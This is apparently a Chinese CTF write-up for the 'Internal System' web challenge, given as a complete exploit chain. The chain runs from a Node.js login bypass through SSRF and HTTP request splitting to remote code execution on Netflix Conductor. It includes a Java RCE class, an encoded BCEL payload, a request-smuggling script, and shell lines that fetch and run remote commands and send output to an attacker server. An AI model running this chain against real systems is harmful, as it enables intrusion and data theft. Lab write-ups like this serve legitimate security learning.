BUU-Web-[虎符CTF 2021]Internal System

前言

先附上成果图拿到Flag那一刻太激动了!!!

好了,话说回来。这次的题目的2021虎符CTF的Web最后一道零解题,能够根据大佬的WriteUP成功将漏洞复现,并且学到其中的知识点,自己已经收获了很多了。
在这里再一次感谢@Glzjin,赵总yyds!!!

知识点

  • NodeJs 代码审计
  • NodeJs 弱类型
  • NodeJs8 http库请求拆分漏洞
  • SSRF
  • Netflix Conductor 1day
  • Java BCEL 编码

操作步骤

  1. 加入后查看源码.


    找到注释 /source,访问后得到源码
  2. 开始审计

    const express = require('express')
    const router = express.Router()
    const axios = require('axios')
    const isIp = require('is-ip')
    const IP = require('ip')
    const UrlParse = require('url-parse')
    const {sha256, hint} = require('./utils')
    const salt = 'nooooooooodejssssssssss8_issssss_beeeeest' //得到提示版本为nodejs8
    const adminHash = sha256(sha256(salt + 'admin') + sha256(salt + 'admin')) //将2个admin先进行一次sha256编码后拼接再编码一次
    const port = process.env.PORT || 3000 // 开放端口为3000或环境变量里的端口
    function formatResopnse(response) {
    if(typeof(response) !== typeof('')) {
    return JSON.stringify(response)
    } else {
    return response
    }
    }
    function SSRF_WAF(url) { //判断是否为内网地址
    const host = new UrlParse(url).hostname.replace(/\[|\]/g, '')
    return isIp(host) && IP.isPublic(host)
    }
    function FLAG_WAF(url) { //判断路径是否为/flag
    const pathname = new UrlParse(url).pathname
    return !pathname.startsWith('/flag')
    }
    function OTHER_WAF(url) {
    return true;
    }
    const WAF_LISTS = [OTHER_WAF, SSRF_WAF, FLAG_WAF]
    router.get('/', (req, res, next) => {
    if(req.session.admin === undefined || req.session.admin === null) { //判断admin_session是否存在
    res.redirect('/login')
    } else {
    res.redirect('/index')
    }
    })
    router.get('/login', (req, res, next) => {
    const {username, password} = req.query;
    if(!username || !password || username === password || username.length === password.length || username === 'admin') {//判断username,password是否存在; 内容是否相等; 长度是否一致; 用户名是否为admin; 其中只要有一个为真就直接渲染(render)登陆界面
    res.render('login')
    } else {
    const hash = sha256(sha256(salt + username) + sha256(salt + password))// 这里将username与password进行加密后,把加密数据与上面加密的admin/admin相比较,赋值给session.admin
    req.session.admin = hash === adminHash
    res.redirect('/index')
    }
    })
    router.get('/index', (req, res, next) => {
    if(req.session.admin === undefined || req.session.admin === null) {//检测session
    res.redirect('/login')
    } else {
    res.render('index', {admin: req.session.admin, network: JSON.stringify(require('os').networkInterfaces())}) //渲染网卡信息
    }
    })
    router.get('/proxy', async(req, res, next) => {
    if(!req.session.admin) { //需要获取到admir的session
    return res.redirect('/index')
    }
    const url = decodeURI(req.query.url);
    console.log(url)
    const status = WAF_LISTS.map((waf)=>waf(url)).reduce((a,b)=>a&&b) //放到WAF_LIST中进行判断,返回结果为bool
    if(!status) {
    res.render('base', {title: 'WAF', content: "Here is the waf..."})
    } else {
    try {
    const response = await axios.get(`http://127.0.0.1:${port}/search?url=${url}`)//为真就调用接口
    res.render('base', response.data)
    } catch(error) {
    res.render('base', error.message)
    }
    }
    })
    router.post('/proxy', async(req, res, next) => { //注释里写到是测试接口,用不上
    if(!req.session.admin) {
    return res.redirect('/index')
    }
    // test url
    // not implemented here
    const url = "https://postman-echo.com/post"
    await axios.post(`http://127.0.0.1:${port}/search?url=${url}`)
    res.render('base', "Something needs to be implemented")
    })
    router.all('/search', async (req, res, next) => {
    if(!/127\.0\.0\.1/.test(req.ip)){//只允许127.0.0.1进行访问
    return res.send({title: 'Error', content: 'You can only use proxy to aceess here!'})
    }
    //可以发现这里没有对url进行WAF,因此存在可利用对SSRF
    const result = {title: 'Search Success', content: ''}
    const method = req.method.toLowerCase()
    const url = decodeURI(req.query.url)
    const data = req.body
    try {
    if(method == 'get') {
    const response = await axios.get(url)
    result.content = formatResopnse(response.data)
    } else if(method == 'post') {
    const response = await axios.post(url, data)
    result.content = formatResopnse(response.data)
    } else {
    result.title = 'Error'
    result.content = 'Unsupported Method'
    }
    } catch(error) {
    result.title = 'Error'
    result.content = error.message
    }
    return res.json(result)
    })
    router.get('/source', (req, res, next)=>{
    res.sendFile( __dirname + "/" + "index.js");
    })
    router.get('/flag', (req, res, next) => {
    if(!/127\.0\.0\.1/.test(req.ip)){//判断是否为本地请求
    return res.send({title: 'Error', content: 'No Flag For You!'})
    }
    return res.json({hint: hint})
    })
    module.exports = router
  3. 我们可以返回到首页进行登陆,这里调用的是登陆接口

    router.get('/login', (req, res, next) => {
      const {username, password} = req.query;
    if(!username || !password || username === password || username.length === password.length || username === 'admin') {//判断username,password是否存在; 内容是否相等; 长度是否一致; 用户名是否为admin; 其中只要有一个为真就直接渲染(render)登陆界面
    res.render('login')
    } else {
    const hash = sha256(sha256(salt + username) + sha256(salt + password))// 这里将username与password进行加密后,把加密数据与上面加密的admin/admin相比较,赋值给session.admin
    req.session.admin = hash === adminHash
    res.redirect('/index')
    }
    })

    他是将接受到的username与password进行加密然后拼接并与admin/admin进行比较,判断是否能够登陆。但在此之前会对输入进行一次过滤,当出现以下情况都会被拦截

    1. 空输入
    2. 内容相同
    3. 长度相同
    4. username的内容为['admin']

    这里就需要进行绕过,可以做一个测试

    发现当string与list类型想拼接时会直接转化为string,并且类型不相同,长度不同,因此可以绕过
    最后绕过的payload[ /login?username[]=admin&password=admin ]

    登陆成功后就可以查看到网卡信息

  4. 接下来就是第二个接口

    router.get('/proxy', async(req, res, next) => {
    if(!req.session.admin) { //需要获取到admir的session
    return res.redirect('/index')
    }
    const url = decodeURI(req.query.url);
    console.log(url)
    const status = WAF_LISTS.map((waf)=>waf(url)).reduce((a,b)=>a&&b) //放到WAF_LIST中进行判断,返回结果为bool
    if(!status) {
    res.render('base', {title: 'WAF', content: "Here is the waf..."})
    } else {
    try {
    const response = await axios.get(`http://127.0.0.1:${port}/search?url=${url}`)//为真就调用接口
    res.render('base', response.data)
    } catch(error) {
    res.render('base', error.message)
    }
    }
    })

    这个接口会调用前会判断session是否为admin,并且将请求的url放入WAF中进行过滤
    就好比
    这里可以尝试http://0.0.0.0:3000


    • 0.0.0.0:3000指的是该设备上所有开放的3000的端口


    不出意外的成功了

  5. 由于search接口并没有设置WAF,只设置了仅限本地访问,我们可以直接调用/search接口访问/flag
    Payload为 http://0.0.0.0:3000/search?url=http://127.0.0.1:3000/flag

    得到提示,内网中有一台设备开了 netflix conductor server 这里就需要去找Netflix conductor 的漏洞,并且找到开设服务的设备.

  6. 从得到的网卡信息得知,10.0.203.9这个格式是docker的默认网卡格式,我们就开始上手利用SSRF查找
    并且通过查阅官方文档发现服务开放于8080端口 https://github.com/Netflix/conductor/blob/dev/client/python/kitchensink_workers.py

    
    from __future__ import print_function
    from conductor.ConductorWorker import ConductorWorker,TaskStatus
    def execute(task):
    return ConductorWorker.task_result(
    status=TaskStatus.COMPLETED,
    output= {'mod': 5, 'taskToExecute': 'task_1', 'oddEven': 0},
    logs=['one','two']
    )
    def execute4(task):
    forkTasks = [{"name": "task_1", "taskReferenceName": "task_1_1", "type": "SIMPLE"},{"name": "sub_workflow_4", "taskReferenceName": "wf_dyn", "type": "SUB_WORKFLOW", "subWorkflowParam": {"name": "sub_flow_1"}}];
    input = {'task_1_1': {}, 'wf_dyn': {}}
    return {'status': 'COMPLETED', 'output': {'mod': 5, 'taskToExecute': 'task_1', 'oddEven': 0, 'dynamicTasks': forkTasks, 'inputs': input}, 'logs': ['one','two']}
    def main():
    print('Starting Kitchensink workflows')
    cc = ConductorWorker('http://localhost:8080/api', 1, 0.1)
    for x in range(1, 30):
    if(x == 4):
    cc.start('task_{0}'.format(x), execute4, False)
    else:
    cc.start('task_{0}'.format(x), execute, False)
    cc.start('task_30', execute, True)
    if __name__ == '__main__':
    main()

    http://0.0.0.0:3000/search?url=http://10.0.203.10:8080
    一直查到
    http://0.0.0.0:3000/search?url=http://10.0.203.14:8080
    得到信息

  7. 将拿到的信息转码后得到以下代码

    <!DOCTYPE html>\n
    <html>\n
    <head>\n
    <meta charset=\ "UTF-8\">\n
    <title>Swagger UI</title>\n
    <link rel=\ "icon\" type=\ "image/png\" href=\ "images/favicon-32x32.png\" sizes=\ "32x32\" />\n
    <link rel=\ "icon\" type=\ "image/png\" href=\ "images/favicon-16x16.png\" sizes=\ "16x16\" />\n
    <link href='css/typography.css' media='screen' rel='stylesheet' type='text/css' />\n
    <link href='css/reset.css' media='screen' rel='stylesheet' type='text/css' />\n
    <link href='css/screen.css' media='screen' rel='stylesheet' type='text/css' />\n
    <link href='css/reset.css' media='print' rel='stylesheet' type='text/css' />\n
    <link href='css/print.css' media='print' rel='stylesheet' type='text/css' />\n\n
    <script src='lib/object-assign-pollyfill.js' type='text/javascript'></script>\n
    <script src='lib/jquery-1.8.0.min.js' type='text/javascript'></script>\n
    <script src='lib/jquery.slideto.min.js' type='text/javascript'></script>\n
    <script src='lib/jquery.wiggle.min.js' type='text/javascript'></script>\n
    <script src='lib/jquery.ba-bbq.min.js' type='text/javascript'></script>\n
    <script src='lib/handlebars-4.0.5.js' type='text/javascript'></script>\n
    <script src='lib/lodash.min.js' type='text/javascript'></script>\n
    <script src='lib/backbone-min.js' type='text/javascript'></script>\n
    <script src='swagger-ui.js' type='text/javascript'></script>\n
    <script src='lib/highlight.9.1.0.pack.js' type='text/javascript'></script>\n
    <script src='lib/highlight.9.1.0.pack_extended.js' type='text/javascript'></script>\n
    <script src='lib/jsoneditor.min.js' type='text/javascript'></script>\n
    <script src='lib/marked.js' type='text/javascript'></script>\n
    <script src='lib/swagger-oauth.js' type='text/javascript'></script>\n\n
    <!-- Some basic translations -->\n
    <!-- <script src='lang/translator.js' type='text/javascript'></script> -->\n
    <!-- <script src='lang/ru.js' type='text/javascript'></script> -->\n
    <!-- <script src='lang/en.js' type='text/javascript'></script> -->\n\n
    <script type=\ "text/javascript\">\n $(function() {\n\n
    var url = window.location.search.match(/url=([^&]+)/); //http://127.0.0.1:8080/?url=127.0.0.1:8080\n if (url && url.length > 1) {\n url = decodeURIComponent(url[1]);\n\n if (!url.includes('://')) {\n url = `http://${url}`;\n }\n } else {\n url = window.location.origin;\n }\n\n hljs.configure({\n highlightSizeThreshold: 5000\n });\n\n // Pre load translate...\n if(window.SwaggerTranslator) {\n window.SwaggerTranslator.translate();\n }\n window.swaggerUi = new SwaggerUi({\n url: url + \"/api/swagger.json\",\n dom_id: \"swagger-ui-container\",\n supportedSubmitMethods: ['get', 'post', 'put', 'delete', 'patch'],\n onComplete: function(swaggerApi, swaggerUi){\n window.swaggerUi.api.setBasePath(\"/api\");\n if(typeof initOAuth == \"function\") {\n initOAuth({\n clientId: \"your-client-id\",\n clientSecret: \"your-client-secret-if-required\",\n realm: \"your-realms\",\n appName: \"your-app-name\",\n scopeSeparator: \" \",\n additionalQueryStringParams: {}\n });\n }\n\n if(window.SwaggerTranslator) {\n window.SwaggerTranslator.translate();\n }\n },\n onFailure: function(data) {\n log(\"Unable to Load SwaggerUI\");\n },\n docExpansion: \"none\",\n jsonEditor: false,\n defaultModelRendering: 'schema',\n showRequestHeaders: false\n });\n\n window.swaggerUi.load();\n\n function log() {\n if ('console' in window) {\n console.log.apply(console, arguments);\n }\n }\n });\n\n
    </script>\n</head>\n\n
    <body class=\ "swagger-section\">\n
    <div id='header'>\n
    <div class=\ "swagger-ui-wrap\">\n
    <a id=\ "logo\" href=\ "http://swagger.io\">
    <img class=\ "logo__img\" alt=\ "swagger\" height=\ "30\" width=\ "30\" src=\ "images/logo_small.png\" />
    <span class=\ "logo__title\">swagger</span></a>\n
    <form id='api_selector'>\n
    <div class='input'>
    <input placeholder=\ "http://example.com/api\" id=\ "input_baseUrl\" name=\ "baseUrl\" type=\ "text\"/></div>\n
    <div id='auth_container'></div>\n
    <div class='input'>
    <a id=\ "explore\" class=\ "header__btn\" href=\ "#\" data-sw-translate>Explore</a></div>\n</form>\n</div>\n</div>\n\n
    <div id=\ "message-bar\" class=\ "swagger-ui-wrap\" data-sw-translate>&nbsp;</div>\n
    <div id=\ "swagger-ui-container\" class=\ "swagger-ui-wrap\"></div>\n</body>\n
    </html>\n

    我们可以在源码里的script中找到关键json文件 /api/swagger.json
    然后构建url访问
    获取到的就是接口文件

    找到路径 /api/admin/config 这里的api接口都是api/下的子接口因此需要加上/api
    打进去看看

    得到了版本信息2.26.0-SNAPSHOT

  8. 找到了一个漏洞 https://xz.aliyun.com/t/7889 目前只有这一个洞,就先试试能不能用.
    虽然官方说的影响版本是 <= v2.25.3
    https://github.com/Netflix/security-bulletins/blob/master/advisories/nflx-2020-001.md

  9. 开搞


    1. 首先构造恶意的REC

      public class Evil
      {
      public Evil() {
      try {
      Runtime.getRuntime().exec("wget http://[public_ip]:[port] -O /tmp/yunoon"); //这里也可以使用赵总的http://172.247.76.183:9998
      }
      catch (Exception ex) {
      ex.printStackTrace();
      }
      }
      public static void main(final String[] array) {
      }
      }
    2. 对java程序进行编译
      $ javac Evil.java

    3. 使用BCELCodeman.jar 将编译好的class文件转换为BCEL字符 工具GitHub地址
      java -jar BCELCodeman.jar e Evil.class

      如果输出的结果是一小段字符的话请检查你的Java版本也许他并不适合这个工具
      我这里使用的版本为jdk1.8.0_211.jdk
      export JAVA_HOME=/Library/Java/JavaVirtualMachines/jdk1.8.0_211.jdk/Contents/Home/

    4. 这里需要注意的是,由于接口proxy只提供了Get请求并没有Post请求[ 有,但不能用:) ],
      可以再重新看下源码

      router.get('/proxy', async(req, res, next) => {
        if(!req.session.admin) { //需要获取到admir的session
      return res.redirect('/index')
      }
      const url = decodeURI(req.query.url);
      console.log(url)
      const status = WAF_LISTS.map((waf)=>waf(url)).reduce((a,b)=>a&&b) //放到WAF_LIST中进行判断,返回结果为bool
      if(!status) {
      res.render('base', {title: 'WAF', content: "Here is the waf..."})
      } else {
      try {
      const response = await axios.get(`http://127.0.0.1:${port}/search?url=${url}`)//为真就调用接口
      res.render('base', response.data)
      } catch(error) {
      res.render('base', error.message)
      }
      }
      })

      这里的axios的http协议 使用的是NodeJs的http库来实现的,我们可以利用nodejs8中的请求拆分漏洞( https://www.cvedetails.com/cve/CVE-2018-12116/ )来构造Post请求

      NodeJS8中的请求拆分漏洞的关键就在于,平常我们的unicode是\u{00XX},漏洞利用就变成了\u{01XX}

    5. 写一个脚本将输出的内容放入变量a中

      a = '$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$cbN$c2$40$U$3dS$k$85$K$f2$S$U$7c$81$$$EMd$e3$O$e3$c6$e0$K$l$R$a2$L7$96$3a$a9$83$d06e$m$c4$lr$cd$G$8d$L$3f$c0$8fR$ef4FLt$929w$ee$b9g$ce$9d$c7$fb$c7$eb$h$80$Dl$h$88a$c9$40$k$85$Y$96U$5c$d1Q4$QAI$c7$aa$8e5$86$e8$a1p$84$3cb$IUkW$M$e1c$f7$8e3$a4Z$c2$e1g$a3A$97$fb$j$b3$db$t$s$d9$96$a6$f5pjzA$k$ec$$$92$7c$60$K$87$a1P$bdi$f5$cc$b1Y$ef$9b$8e$5doK_8vC$d9$Zmw$e4$5b$fcD$u$8bxs$y$fa$fbJ$97$40$i$86$8e$f5$E6$b0$c9$b08$bc$_$d7$e5$c0$ab$db$fd$c7$9ep$S$u$a3$c2$90$9b$3b6$t$W$f7$a4p$a9$b4$F$83$da$w$t$86$f4$5cq$de$edqK2d$e6$d4$e5$c8$91b$40$7d$N$9b$cb$9f$q_$ad$b5$feh$gd$c9$t$dcb$d8$a9$fes$91_$d4$85$efZ$7c8$a4$N$v$8f$8a2x$95$8eoZ$i$V$e8$f4$dajh$60$ea$82$84$L$94$ddR$aeQ$y$ec$3e$83$bd$40$cb$86f$I_$3f$n$d6$da$9b$n$3a$rU$YI$a4$e9S4$qHWB$940Dl$84$f88Utd$c89O$8eI$aa$a4$a1$7d$S0$j$8b$KR$e1$40$93$f9$eeV$a4$c9$d4$9c$G$Le$Y$N$88$qa68$5c$ee$L$VXu$96$m$C$A$A'
      post_payload = '[\u{017b}\u{0122}name\u{0122}:\u{0122}$\u{017b}\u{0127}1\u{0127}.getClass().forName(\u{0127}com.sun.org.apache.bcel.internal.util.ClassLoader\u{0127}).newInstance().loadClass(\u{0127}'+a+'\u{0127}).newInstance().class\u{017d}\u{0122},\u{0122}ownerEmail\u{0122}:\u{0122}test@example.org\u{0122},\u{0122}retryCount\u{0122}:\u{0122}3\u{0122},\u{0122}timeoutSeconds\u{0122}:\u{0122}1200\u{0122},\u{0122}inputKeys\u{0122}:[\u{0122}sourceRequestId\u{0122},\u{0122}qcElementType\u{0122}],\u{0122}outputKeys\u{0122}:[\u{0122}state\u{0122},\u{0122}skipped\u{0122},\u{0122}result\u{0122}],\u{0122}timeoutPolicy\u{0122}:\u{0122}TIME_OUT_WF\u{0122},\u{0122}retryLogic\u{0122}:\u{0122}FIXED\u{0122},\u{0122}retryDelaySeconds\u{0122}:\u{0122}600\u{0122},\u{0122}responseTimeoutSeconds\u{0122}:\u{0122}3600\u{0122},\u{0122}concurrentExecLimit\u{0122}:\u{0122}100\u{0122},\u{0122}rateLimitFrequencyInSeconds\u{0122}:\u{0122}60\u{0122},\u{0122}rateLimitPerFrequency\u{0122}:\u{0122}50\u{0122},\u{0122}isolationgroupId\u{0122}:\u{0122}myIsolationGroupId\u{0122}\u{017d}]'
      console.log(encodeURI(
      encodeURI(
      encodeURI(
      'http://0.0.0.0:3000/\u{0120}HTTP/1.1\u{010D}\u{010A}Host:127.0.0.1:3000\u{010D}\u{010A}\u{010D}\u{010A}POST\u{0120}/search?url=http://10.0.218.14:8080/api/metadata/taskdefs\u{0120}HTTP/1.1\u{010D}\u{010A}Host:127.0.0.1:3000\u{010D}\u{010A}Content-Type:application/json\u{010D}\u{010A}Content-Length:' + post_payload.length + '\u{010D}\u{010A}\u{010D}\u{010A}' + post_payload+ '\u{010D}\u{010A}\u{010D}\u{010A}\u{010D}\u{010A}\u{010D}\u{010A}GET\u{0120}/private'))))
    6. 注意要更改目标机的IP地址,然后运行出我们最终的Payload
      node code.js

    7. 在请求之前我们还需要把服务器上的漏洞执行做好
      main.py, FastAPI服务框架

      from fastapi import Depends, FastAPI
      from fastapi.responses import FileResponse
      app = FastAPI(docs_url=None, redoc_url=None)
      @app.get("/")
      def return_passwd_file():
      file_like = "test1.txt"
      file_path = open(file_like, mode="rb")
      return FileResponse(file_like)
      @app.get("/command1.txt")
      def return_passwd_file1():
      file_like = "command.txt"
      file_path = open(file_like, mode="rb")
      return FileResponse(file_like)
      if __name__ == '__main__':
      import uvicorn
      uvicorn.run(app='main:app', host='0.0.0.0', port=20000, reload=True, debug=True)

      test1.txt 用来显示回显

      #!/bin/sh
      wget http://[public_ip]:[port]/1?a=`wget -O- http://[public_ip]:[port]/command1.txt|sh|base64`
      

      command1.txt 命令执行

      cat /flag
      

      RUN !!!

      测试成功

  10. 最后我们需要将以前的Evil.java文件进行更改,使其执行目标服务器上的命令
    因为我们上一个执行命令是

    wget http://[public_ip]:[port] -O /tmp/yunoon
    

    目前在/temp下就有一个yunoon的文件,他的内容为我们写入在test1.txt中的内容

    #!/bin/sh
    wget http://[public_ip]:[port]/1?a=`wget -O- http://[public_ip]:[port]/command1.txt|sh|base64`
    

    注: public_ip与port需要更改为自己的公网ip与端口

  11. 最后再生产一个执行命令为sh /tmp/yunoon的class文件,重复9中的步骤,打过去

    将URL中回显的Base64内容解密就可以拿到Flag


    总结


    这次复现花了2天,但收获颇丰.第一天做题,第二天写WriteUP,写WP的时候对这个漏洞的理解更深刻了,同时也学会了使用公网服务器来执行命令.
    最后再归纳一下流程:


    1. 利用NodeJS弱类型username[]=admin进行登陆获取管理员Session
    2. 绕过127.0.0.1的WAF从而进行SSRF,调用/search接口获取到/flag拿到hint
    3. 利用SSRF扫描内网,获取到目标服务器地址
    4. 通过服务器的回显,知道swagger.json文件获取到/api/admin/config下的系统版本
    5. 利用4获取到的系统版本,知道Netflix Conductor的漏洞拿到Payload
    6. 构建恶意java程序,编译后使用BCELCodeman工具将class文件转换为BCEL字符
    7. 利用NodeJS8中的http库请求拆分漏洞,构建POST请求
    8. 编写脚本将请求转为URIencode的格式,然后通过/search接口发送请求,从而执行命令

本文链接:

https://yuno0n.top/index.php/archives/12/
1 + 2 =
1 评论
    jojoChrome 90OSX
    2021年05月08日 回复

    23333